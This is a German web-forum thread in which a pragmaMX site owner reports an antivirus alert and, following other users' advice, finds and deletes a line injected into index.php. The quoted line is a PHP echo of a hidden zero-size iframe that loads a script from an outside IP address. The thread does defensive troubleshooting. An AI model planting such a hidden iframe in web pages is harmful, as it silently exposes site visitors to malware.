Hi,
nachdem ich das neue pragmaMX installiert habe erscheint bei meinem antiviren Programm, nur wenn ich mich auf diese eine Seite einwähle (meine Seite www.weniger.cc):
Zitatgefunden: trojanisches Programm Packed.JS.Agent.a
URL: http://xs.activeprotect.cn/lex/index.php
Ich benutze Kaspersky Firewall+Antivirus
Bei meinen Bekannten erscheint die gleiche meldung. Mittlerweile hab blockiere ich diese Verbindung
Beim landen der Seite sieht man auch in der Fortschrittleiste, dass ein Verbindungsaufbau zu dieser Seite versucht wird.
Kennt jemand dieses Problem.
gruß
adorno
Moin :)
das deutet auf einen Serverhack hin.
Vermutlich hat irgendein Schadprogramm einige Dateien verändert.
Rufe mal im Adminmenü die Versionsüberwachung auf und schau ob dort geänderte Dateien gelistet sind.
hi Andi,
danke du hattest recht dort stand, dass die index.php editiert wurde, also habe ich da reingeschaut. Dort stand am ende folgendes:
<? echo '<iframe src="http://92.62.100.57/stds/go.php?sid=1" width="0" height="0"
frameborder="0"></iframe>'; ?>
habe diese Zeile jetzt gelöscht.
danke
adorno
Hi adorno, :)
du solltest aber trotzdem noch schauen, wodurch diese Änderung möglich war (Serverlog) und diese Lücke schliessen.
Weiters empfehle ich dir Datenbank und FTP-Passwörter zu ändern.
Gruß Gerhard